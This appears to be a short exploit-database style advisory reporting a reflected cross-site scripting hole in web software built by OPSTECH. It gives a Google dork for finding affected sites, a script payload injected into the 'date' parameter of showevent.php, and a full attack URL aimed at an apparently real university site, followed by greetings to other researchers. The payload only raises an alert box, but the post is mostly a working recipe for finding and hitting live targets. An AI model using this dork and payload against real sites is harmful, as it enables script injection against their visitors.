====================================================================================================================================== | # Title : Copyright © 2008 by OPSTECH All Right Reserved Xss Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 61.0.1 (32-bit) | | # Vendor : http://www.opstech.co.th/ | | # Dork : intext:Copyright © 2008 by OPSTECH All Right Reserved. site:th | ====================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine . [+] use Payload : /core_main/module/web/calendar/showevent.php?per=&date=<script>alert(/indoushka/);</script>=kanuacth_db&folder_web=web1&language=1 [+] http://kanu.ac.th/info/core_main/module/web/calendar/showevent.php?per=&date=%3Cscript%3Ealert(/indoushka/);%3C/script%3E=kanuacth_db&folder_web=web1&language=1 Greetings to :========================================================================================================================= | jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh | | =======================================================================================================================================